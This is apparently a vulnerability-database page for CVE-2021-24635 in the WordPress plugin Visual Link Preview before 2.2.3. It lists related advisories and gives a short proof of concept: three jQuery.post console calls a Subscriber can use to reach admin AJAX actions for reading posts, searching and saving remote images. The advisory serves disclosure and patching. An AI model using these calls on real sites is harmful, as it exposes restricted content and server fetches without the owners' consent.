Visual Link Preview unauthorised AJAX calls exploi
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | Visual Link Preview < 2.2.3 - Unauthorised AJAX Calls | 18 Aug 202100:00 | – | wpvulndb |
![]() | CVE-2021-24635 | 20 Sep 202110:15 | – | nvd |
![]() | Cross site request forgery (csrf) | 20 Sep 202110:15 | – | prion |
![]() | CVE-2021-24635 Visual Link Preview < 2.2.3 - Unauthorised AJAX Calls | 20 Sep 202110:06 | – | cvelist |
![]() | CVE-2021-24635 | 20 Sep 202110:15 | – | cve |
Run the following command in the Web Developer console of the Web browser while logged in as a Subscriber.
jQuery.post(ajaxurl,{security:vlp_admin.nonce,id:POST_ID,action:"vlp_get_post_content"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,search:"KEYWORD",action:"vlp_search_posts"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,url:"IMAGE URL",action:"vlp_save_image"});
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo